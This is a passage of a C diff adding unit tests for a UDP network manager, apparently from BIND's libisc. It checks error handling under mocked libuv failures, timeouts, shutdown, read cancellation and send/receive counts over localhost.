+	isc_refcount_decrement(&active_cconnects);
+	assert_int_equal(eresult, ISC_R_NOMEMORY);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+start_listening(uint32_t nworkers, isc_nm_recv_cb_t cb) {
+	isc_result_t result = isc_nm_listenudp(
+		netmgr, nworkers, &udp_listen_addr, cb, NULL, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+}
+
+/* UDP */
+
+ISC_LOOP_TEST_IMPL(mock_listenudp_uv_udp_open) {
+	isc_result_t result = ISC_R_SUCCESS;
+
+	WILL_RETURN(uv_udp_open, UV_ENOMEM);
+
+	result = isc_nm_listenudp(netmgr, ISC_NM_LISTEN_ALL, &udp_listen_addr,
+				  mock_recv_cb, NULL, &listen_sock);
+	assert_int_not_equal(result, ISC_R_SUCCESS);
+	assert_null(listen_sock);
+
+	RESET_RETURN;
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(mock_listenudp_uv_udp_bind) {
+	isc_result_t result = ISC_R_SUCCESS;
+
+	WILL_RETURN(uv_udp_bind, UV_EADDRINUSE);
+
+	result = isc_nm_listenudp(netmgr, ISC_NM_LISTEN_ALL, &udp_listen_addr,
+				  mock_recv_cb, NULL, &listen_sock);
+	assert_int_not_equal(result, ISC_R_SUCCESS);
+	assert_null(listen_sock);
+
+	RESET_RETURN;
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(mock_listenudp_uv_udp_recv_start) {
+	isc_result_t result = ISC_R_SUCCESS;
+
+	WILL_RETURN(uv_udp_recv_start, UV_EADDRINUSE);
+
+	result = isc_nm_listenudp(netmgr, ISC_NM_LISTEN_ALL, &udp_listen_addr,
+				  mock_recv_cb, NULL, &listen_sock);
+	assert_int_not_equal(result, ISC_R_SUCCESS);
+	assert_null(listen_sock);
+
+	RESET_RETURN;
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(mock_udpconnect_uv_udp_open) {
+	WILL_RETURN(uv_udp_open, UV_ENOMEM);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  connect_nomemory_cb, NULL, T_CONNECT);
+	isc_loopmgr_shutdown(loopmgr);
+
+	RESET_RETURN;
+}
+
+ISC_LOOP_TEST_IMPL(mock_udpconnect_uv_udp_bind) {
+	WILL_RETURN(uv_udp_bind, UV_ENOMEM);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  connect_nomemory_cb, NULL, T_CONNECT);
+	isc_loopmgr_shutdown(loopmgr);
+
+	RESET_RETURN;
+}
+
+ISC_LOOP_TEST_IMPL(mock_udpconnect_uv_udp_connect) {
+	WILL_RETURN(uv_udp_connect, UV_ENOMEM);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  connect_nomemory_cb, NULL, T_CONNECT);
+	isc_loopmgr_shutdown(loopmgr);
+
+	RESET_RETURN;
+}
+
+ISC_LOOP_TEST_IMPL(mock_udpconnect_uv_recv_buffer_size) {
+	WILL_RETURN(uv_recv_buffer_size, UV_ENOMEM);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  connect_success_cb, NULL, T_CONNECT);
+	isc_loopmgr_shutdown(loopmgr);
+
+	RESET_RETURN;
+}
+
+ISC_LOOP_TEST_IMPL(mock_udpconnect_uv_send_buffer_size) {
+	WILL_RETURN(uv_send_buffer_size, UV_ENOMEM);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  connect_success_cb, NULL, T_CONNECT);
+	isc_loopmgr_shutdown(loopmgr);
+
+	RESET_RETURN;
+}
+
+ISC_SETUP_TEST_IMPL(udp_noop) {
+	setup_test(state);
+	expected_cconnects = 1;
+	cconnects_shutdown = true;
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_noop) {
+	atomic_assert_int_eq(cconnects, 1);
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_noop) {
+	/* isc_result_t result = ISC_R_SUCCESS; */
+
+	/* result = isc_nm_listenudp(netmgr, ISC_NM_LISTEN_ALL,
+	 * &udp_listen_addr, */
+	/* 			  mock_recv_cb, NULL, &listen_sock); */
+	/* assert_int_equal(result, ISC_R_SUCCESS); */
+
+	/* isc_nm_stoplistening(listen_sock); */
+	/* isc_nmsocket_close(&listen_sock); */
+	/* assert_null(listen_sock); */
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  connect_success_cb, NULL, T_CONNECT);
+}
+
+static void
+udp_noresponse_recv_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		       isc_region_t *region, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(eresult);
+	UNUSED(region);
+	UNUSED(cbarg);
+}
+
+static void
+udp_noresponse_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		       isc_region_t *region, void *cbarg) {
+	UNUSED(region);
+	UNUSED(cbarg);
+
+	assert_int_equal(eresult, ISC_R_TIMEDOUT);
+
+	isc_refcount_decrement(&active_creads);
+
+	atomic_fetch_add(&creads, 1);
+
+	isc_nmhandle_detach(&handle);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+udp_noresponse_send_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		       void *cbarg) {
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+	atomic_fetch_add(&csends, 1);
+	isc_nmhandle_detach(&handle);
+	isc_refcount_decrement(&active_csends);
+}
+
+static void
+udp_noresponse_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			  void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+	isc_nmhandle_t *sendhandle = NULL;
+
+	isc_refcount_decrement(&active_cconnects);
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	/* Read */
+	isc_refcount_increment0(&active_creads);
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, udp_noresponse_read_cb, cbarg);
+
+	/* Send */
+	isc_refcount_increment0(&active_csends);
+	isc_nmhandle_attach(handle, &sendhandle);
+	isc_nmhandle_setwritetimeout(handle, T_IDLE);
+
+	isc_nm_send(sendhandle, (isc_region_t *)&send_msg,
+		    udp_noresponse_send_cb, cbarg);
+
+	atomic_fetch_add(&cconnects, 1);
+}
+
+ISC_SETUP_TEST_IMPL(udp_noresponse) {
+	setup_test(state);
+	expected_csends = 1;
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_noresponse) {
+	atomic_assert_int_eq(csends, expected_csends);
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_noresponse) {
+	start_listening(ISC_NM_LISTEN_ONE, udp_noresponse_recv_cb);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  udp_noresponse_connect_cb, listen_sock, T_SOFT);
+}
+
+static void
+udp_timeout_recovery_ssend_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			      void *cbarg) {
+	UNUSED(cbarg);
+
+	isc_refcount_decrement(&active_ssends);
+	assert_non_null(handle);
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+	atomic_fetch_add(&ssends, 1);
+	isc_nmhandle_detach(&handle);
+}
+
+static void
+udp_timeout_recovery_recv_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			     isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+	isc_nmhandle_t *sendhandle = NULL;
+	int _creads = atomic_fetch_add(&creads, 1) + 1;
+
+	assert_non_null(handle);
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	assert_true(region->length == sizeof(magic));
+
+	memmove(&magic, region->base, sizeof(magic));
+	assert_true(magic == send_magic);
+	assert_true(_creads < 6);
+
+	if (_creads == 5) {
+		isc_nmhandle_attach(handle, &sendhandle);
+		isc_refcount_increment0(&active_ssends);
+		isc_nmhandle_setwritetimeout(sendhandle, T_IDLE);
+		isc_nm_send(sendhandle, (isc_region_t *)&send_msg,
+			    udp_timeout_recovery_ssend_cb, cbarg);
+	}
+}
+
+static void
+udp_timeout_recovery_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			     isc_region_t *region, void *cbarg) {
+	UNUSED(region);
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+
+	F();
+
+	if (eresult == ISC_R_TIMEDOUT &&
+	    atomic_fetch_add(&ctimeouts, 1) + 1 < expected_ctimeouts)
+	{
+		isc_nmhandle_settimeout(handle, T_SOFT);
+		return;
+	}
+
+	isc_refcount_decrement(&active_creads);
+	isc_nmhandle_detach(&handle);
+
+	atomic_fetch_add(&creads, 1);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+udp_timeout_recovery_send_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			     void *cbarg) {
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+	atomic_fetch_add(&csends, 1);
+
+	isc_nmhandle_detach(&handle);
+	isc_refcount_decrement(&active_csends);
+}
+
+static void
+udp_timeout_recovery_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+				void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+	isc_nmhandle_t *sendhandle = NULL;
+
+	F();
+
+	isc_refcount_decrement(&active_cconnects);
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	/* Read */
+	isc_refcount_increment0(&active_creads);
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, udp_timeout_recovery_read_cb, cbarg);
+
+	/* Send */
+	isc_refcount_increment0(&active_csends);
+	isc_nmhandle_attach(handle, &sendhandle);
+	isc_nmhandle_setwritetimeout(handle, T_IDLE);
+	isc_nm_send(sendhandle, (isc_region_t *)&send_msg,
+		    udp_timeout_recovery_send_cb, cbarg);
+
+	atomic_fetch_add(&cconnects, 1);
+}
+
+ISC_SETUP_TEST_IMPL(udp_timeout_recovery) {
+	setup_test(state);
+	expected_cconnects = 1;
+	expected_csends = 1;
+	expected_creads = 1;
+	expected_ctimeouts = 4;
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_timeout_recovery) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	atomic_assert_int_eq(csends, expected_csends);
+	atomic_assert_int_eq(csends, expected_creads);
+	atomic_assert_int_eq(ctimeouts, expected_ctimeouts);
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_timeout_recovery) {
+	/*
+	 * Listen using the noop callback so that client reads will time out.
+	 */
+	start_listening(ISC_NM_LISTEN_ONE, udp_timeout_recovery_recv_cb);
+
+	/*
+	 * Connect with client timeout set to 0.05 seconds, then sleep for at
+	 * least a second for each 'tick'. timeout_retry_cb() will give up
+	 * after five timeouts.
+	 */
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  udp_timeout_recovery_connect_cb, listen_sock, T_SOFT);
+}
+
+static void
+udp_connect_udpconnect(void *arg ISC_ATTR_UNUSED);
+
+static void
+udp_shutdown_connect_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+				void *cbarg) {
+	UNUSED(handle);
+	UNUSED(cbarg);
+
+	isc_refcount_decrement(&active_cconnects);
+
+	/*
+	 * The first UDP connect is faster than asynchronous shutdown procedure,
+	 * restart the UDP connect again and expect the failure only in the
+	 * second loop.
+	 */
+	if (atomic_fetch_add(&cconnects, 1) == 0) {
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+		isc_async_current(loopmgr, udp_connect_udpconnect, netmgr);
+	} else {
+		assert_int_equal(eresult, ISC_R_SHUTTINGDOWN);
+	}
+}
+
+static void
+udp_connect_udpconnect(void *arg ISC_ATTR_UNUSED) {
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  udp_shutdown_connect_connect_cb, NULL, T_SOFT);
+}
+
+ISC_SETUP_TEST_IMPL(udp_shutdown_connect) {
+	setup_test(state);
+	expected_cconnects = 2;
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_shutdown_connect) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_shutdown_connect) {
+	isc_loopmgr_shutdown(loopmgr);
+	/*
+	 * isc_nm_udpconnect() is synchronous, so we need to launch this on the
+	 * async loop.
+	 */
+	isc_async_current(loopmgr, udp_connect_udpconnect, netmgr);
+}
+
+static void
+udp_shutdown_read_recv_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			  isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+
+	F();
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	assert_true(region->length == sizeof(magic));
+
+	memmove(&magic, region->base, sizeof(magic));
+	assert_true(magic == send_magic);
+}
+
+static void
+udp_shutdown_read_send_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			  void *cbarg) {
+	UNUSED(cbarg);
+
+	F();
+
+	assert_non_null(handle);
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	atomic_fetch_add(&csends, 1);
+
+	isc_loopmgr_shutdown(loopmgr);
+
+	isc_nmhandle_detach(&handle);
+	isc_refcount_decrement(&active_csends);
+}
+
+static void
+udp_shutdown_read_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			  isc_region_t *region, void *cbarg) {
+	UNUSED(region);
+	UNUSED(cbarg);
+
+	assert_true(eresult == ISC_R_SHUTTINGDOWN || eresult == ISC_R_TIMEDOUT);
+
+	isc_refcount_decrement(&active_creads);
+
+	atomic_fetch_add(&creads, 1);
+
+	isc_nmhandle_detach(&handle);
+}
+
+static void
+udp_shutdown_read_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			     void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+	isc_nmhandle_t *sendhandle = NULL;
+
+	isc_refcount_decrement(&active_cconnects);
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	/* Read */
+	isc_refcount_increment0(&active_creads);
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, udp_shutdown_read_read_cb, cbarg);
+	assert_true(handle->sock->reading);
+
+	/* Send */
+	isc_refcount_increment0(&active_csends);
+	isc_nmhandle_attach(handle, &sendhandle);
+	isc_nmhandle_setwritetimeout(handle, T_IDLE);
+	isc_nm_send(sendhandle, (isc_region_t *)&send_msg,
+		    udp_shutdown_read_send_cb, cbarg);
+
+	atomic_fetch_add(&cconnects, 1);
+}
+
+ISC_SETUP_TEST_IMPL(udp_shutdown_read) {
+	setup_test(state);
+	expected_cconnects = 1;
+	expected_creads = 1;
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_shutdown_read) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	atomic_assert_int_eq(creads, expected_creads);
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_shutdown_read) {
+	start_listening(ISC_NM_LISTEN_ONE, udp_shutdown_read_recv_cb);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  udp_shutdown_read_connect_cb, NULL, T_SOFT);
+}
+
+static void
+udp_cancel_read_recv_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+
+	F();
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	assert_true(region->length == sizeof(magic));
+
+	memmove(&magic, region->base, sizeof(magic));
+	assert_true(magic == send_magic);
+}
+
+static void
+udp_cancel_read_send_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			void *cbarg) {
+	UNUSED(cbarg);
+
+	F();
+
+	assert_non_null(handle);
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	atomic_fetch_add(&csends, 1);
+
+	isc_nm_cancelread(handle);
+
+	isc_nmhandle_detach(&handle);
+	isc_refcount_decrement(&active_csends);
+}
+
+static void
+udp_cancel_read_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			isc_region_t *region, void *cbarg) {
+	isc_nmhandle_t *sendhandle = NULL;
+	isc_nmhandle_t *readhandle = NULL;
+
+	UNUSED(region);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_TIMEDOUT:
+
+		/* Read again */
+		isc_refcount_increment0(&active_creads);
+		isc_nmhandle_attach(handle, &readhandle);
+		isc_nm_read(handle, udp_cancel_read_read_cb, cbarg);
+
+		/* Send only once */
+		if (isc_refcount_increment0(&active_csends) == 0) {
+			isc_nmhandle_attach(handle, &sendhandle);
+			isc_nmhandle_setwritetimeout(handle, T_IDLE);
+			isc_nm_send(sendhandle, (isc_region_t *)&send_msg,
+				    udp_cancel_read_send_cb, cbarg);
+		}
+		break;
+	case ISC_R_CANCELED:
+		/* The read has been canceled */
+		atomic_fetch_add(&creads, 1);
+		isc_loopmgr_shutdown(loopmgr);
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	isc_refcount_decrement(&active_creads);
+
+	isc_nmhandle_detach(&handle);
+}
+
+static void
+udp_cancel_read_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			   void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+
+	isc_refcount_decrement(&active_cconnects);
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	isc_refcount_increment0(&active_creads);
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, udp_cancel_read_read_cb, cbarg);
+
+	atomic_fetch_add(&cconnects, 1);
+}
+
+ISC_SETUP_TEST_IMPL(udp_cancel_read) {
+	setup_test(state);
+	expected_cconnects = 1;
+	expected_creads = 1;
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_cancel_read) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	atomic_assert_int_eq(creads, expected_creads);
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_cancel_read) {
+	start_listening(ISC_NM_LISTEN_ONE, udp_cancel_read_recv_cb);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  udp_cancel_read_connect_cb, NULL, T_SOFT);
+}
+
+static void
+udp__send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	isc_nmhandle_t *sendhandle = handle;
+
+	assert_non_null(sendhandle);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_SUCCESS:
+		if (have_expected_csends(atomic_fetch_add(&csends, 1) + 1)) {
+			if (csends_shutdown) {
+				isc_nm_cancelread(handle);
+				isc_loopmgr_shutdown(loopmgr);
+			}
+		}
+		break;
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_nmhandle_detach(&sendhandle);
+	isc_refcount_decrement(&active_csends);
+}
+
+static void
+udp__connect_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+static void
+udp__connect(void *arg ISC_ATTR_UNUSED) {
+	isc_sockaddr_t connect_addr;
+
+	connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&connect_addr, &in6addr_loopback, 0);
+
+	isc_refcount_increment0(&active_cconnects);
+
+	isc_nm_udpconnect(netmgr, &udp_connect_addr, &udp_listen_addr,
+			  udp__connect_cb, NULL, T_CONNECT);
+}
+
+static void
+udp__connect_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		     isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+
+	assert_non_null(handle);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_TIMEDOUT:
+		/*
+		 * We are operating on the localhost, UDP cannot get lost, but
+		 * it could be delayed, so we read again until we get the
+		 * answer.
+		 */
+		isc_nm_read(handle, connect_readcb, cbarg);
+		return;
+	case ISC_R_SUCCESS:
+		assert_true(region->length >= sizeof(magic));
+
+		memmove(&magic, region->base, sizeof(magic));
+
+		assert_true(magic == send_magic);
+
+		if (have_expected_creads(atomic_fetch_add(&creads, 1) + 1)) {
+			do_creads_shutdown(loopmgr);
+		}
+
+		if (magic == send_magic && allow_send_back) {
+			connect_send(handle);
+			return;
+		}
+
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_refcount_decrement(&active_creads);
+
+	isc_nmhandle_detach(&handle);
+}
+
+static void
+udp__connect_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+	isc_nmhandle_t *sendhandle = NULL;
+
+	F();
+
+	isc_refcount_decrement(&active_cconnects);
+
+	switch (eresult) {
+	case ISC_R_SUCCESS:
+		if (have_expected_cconnects(atomic_fetch_add(&cconnects, 1) +
+					    1))
+		{
+			do_cconnects_shutdown(loopmgr);
+		} else if (do_send) {
+			isc_async_current(loopmgr, udp__connect, cbarg);
+		}
+
+		isc_refcount_increment0(&active_creads);
+		isc_nmhandle_attach(handle, &readhandle);
+		isc_nm_read(handle, connect_readcb, cbarg);
+
+		isc_refcount_increment0(&active_csends);
+		isc_nmhandle_attach(handle, &sendhandle);
+		isc_nmhandle_setwritetimeout(handle, T_IDLE);
+
+		isc_nm_send(sendhandle, (isc_region_t *)&send_msg, udp__send_cb,
+			    cbarg);
+
+		break;
+	case ISC_R_ADDRINUSE:
+		/* Try again */
+		udp__connect(NULL);
+		break;
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+}
+
+ISC_SETUP_TEST_IMPL(udp_recv_one) {
+	setup_test(state);
+
+	connect_readcb = udp__connect_read_cb;
+
+	expected_cconnects = 1;
+	cconnects_shutdown = false;
+
+	expected_csends = 1;
+	csends_shutdown = false;
+
+	expected_sreads = 1;
+	sreads_shutdown = false;
+
+	expected_ssends = 1;
+	ssends_shutdown = false;
+
+	expected_creads = 1;
+	creads_shutdown = true;
+
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_recv_one) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	atomic_assert_int_eq(csends, expected_csends);
+	atomic_assert_int_eq(sreads, expected_sreads);
+	atomic_assert_int_eq(ssends, expected_ssends);
+	atomic_assert_int_eq(creads, expected_creads);
+
+	teardown_test(state);
+
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_recv_one) {
+	start_listening(ISC_NM_LISTEN_ONE, udp_listen_read_cb);
+
+	udp__connect(NULL);
+}
+
+ISC_SETUP_TEST_IMPL(udp_recv_two) {
+	setup_test(state);
+
+	connect_readcb = udp__connect_read_cb;
+
+	expected_cconnects = 2;
+	cconnects_shutdown = false;
+
+	expected_csends = 2;
+	csends_shutdown = false;
+
+	expected_sreads = 2;
+	sreads_shutdown = false;
+
+	expected_ssends = 2;
+	ssends_shutdown = false;
+
+	expected_creads = 2;
+	creads_shutdown = true;
+
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_recv_two) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	atomic_assert_int_eq(csends, expected_csends);
+	atomic_assert_int_eq(sreads, expected_sreads);
+	atomic_assert_int_eq(ssends, expected_ssends);
+	atomic_assert_int_eq(creads, expected_creads);
+
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_recv_two) {
+	start_listening(ISC_NM_LISTEN_ONE, udp_listen_read_cb);
+
+	udp__connect(NULL);
+	udp__connect(NULL);
+}
+
+ISC_SETUP_TEST_IMPL(udp_recv_send) {
+	setup_test(state);
+
+	/* Allow some leeway (+1) as datagram service is unreliable */
+	expected_cconnects = (workers + 1) * NSENDS;
+	cconnects_shutdown = false;
+
+	expected_creads = workers * NSENDS;
+	do_send = true;
+
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_recv_send) {
+	atomic_assert_int_ge(cconnects, expected_creads);
+	atomic_assert_int_ge(csends, expected_creads);
+	atomic_assert_int_ge(sreads, expected_creads);
+	atomic_assert_int_ge(ssends, expected_creads);
+	atomic_assert_int_ge(creads, expected_creads);
+
+	teardown_test(state);
+	return (0);
+}
+
+ISC_LOOP_TEST_IMPL(udp_recv_send) {
+	start_listening(ISC_NM_LISTEN_ALL, udp_listen_read_cb);
+
+	for (size_t i = 0; i < workers; i++) {
+		isc_async_run(isc_loop_get(loopmgr, i), udp__connect, NULL);
+	}
+}
+
+static void
+double_read_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	assert_non_null(handle);
+
+	F();
+
+	isc_refcount_decrement(&active_ssends);
+
+	switch (eresult) {
+	case ISC_R_SUCCESS:
+		if (have_expected_ssends(atomic_fetch_add(&ssends, 1) + 1)) {
+			do_ssends_shutdown(loopmgr);
+		} else {
+			isc_nmhandle_t *sendhandle = NULL;
+			isc_nmhandle_attach(handle, &sendhandle);
+			isc_nmhandle_setwritetimeout(sendhandle, T_IDLE);
+			isc_refcount_increment0(&active_ssends);
+			isc_nm_send(sendhandle, &send_msg, double_read_send_cb,
+				    cbarg);
+			break;
+		}
+		break;
+	case ISC_R_CANCELED:
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_nmhandle_detach(&handle);
+}
+
+static void
+double_read_listen_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		      isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+
+	assert_non_null(handle);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_EOF:
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+		break;
+	case ISC_R_SUCCESS:
+		memmove(&magic, region->base, sizeof(magic));
+		assert_true(magic == send_magic);
+
+		assert_true(region->length >= sizeof(magic));
+
+		memmove(&magic, region->base, sizeof(magic));
+		assert_true(magic == send_magic);
+
+		isc_nmhandle_t *sendhandle = NULL;
+		isc_nmhandle_attach(handle, &sendhandle);
+		isc_nmhandle_setwritetimeout(sendhandle, T_IDLE);
+		isc_refcount_increment0(&active_ssends);
+		isc_nm_send(sendhandle, &send_msg, double_read_send_cb, cbarg);
+		return;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_refcount_decrement(&active_sreads);
+
+	isc_nmhandle_detach(&handle);
+}
+
+static void
+double_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+	       isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+	bool detach = false;
+
+	assert_non_null(handle);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_TIMEDOUT:
+		/*
+		 * We are operating on the localhost, UDP cannot get lost, but
+		 * it could be delayed, so we read again until we get the
+		 * answer.
+		 */
+		detach = false;
+		break;
+	case ISC_R_SUCCESS:
+		assert_true(region->length >= sizeof(magic));
+
+		memmove(&magic, region->base, sizeof(magic));
+
+		assert_true(magic == send_magic);
+
+		if (have_expected_creads(atomic_fetch_add(&creads, 1) + 1)) {
+			do_creads_shutdown(loopmgr);
+			detach = true;
+		}
+
+		if (magic == send_magic && allow_send_back) {
+			connect_send(handle);
+			return;
+		}
+
+		break;
+	case ISC_R_EOF:
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+	case ISC_R_CONNECTIONRESET:
+		detach = true;
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	if (detach) {
+		isc_refcount_decrement(&active_creads);
+		isc_nmhandle_detach(&handle);
+	} else {
+		isc_nm_read(handle, connect_readcb, cbarg);
+	}
+}
+
+ISC_SETUP_TEST_IMPL(udp_double_read) {
+	setup_test(state);
+
+	expected_cconnects = 1;
+	cconnects_shutdown = false;
+
+	expected_csends = 1;
+	csends_shutdown = false;
+
+	expected_sreads = 1;
+	sreads_shutdown = false;
+
+	expected_ssends = 2;
+	ssends_shutdown = false;
+
+	expected_creads = 2;
+	creads_shutdown = true;
+
+	connect_readcb = double_read_cb;
+
+	return (0);
+}
+
+ISC_TEARDOWN_TEST_IMPL(udp_double_read) {
+	atomic_assert_int_eq(creads, expected_creads);
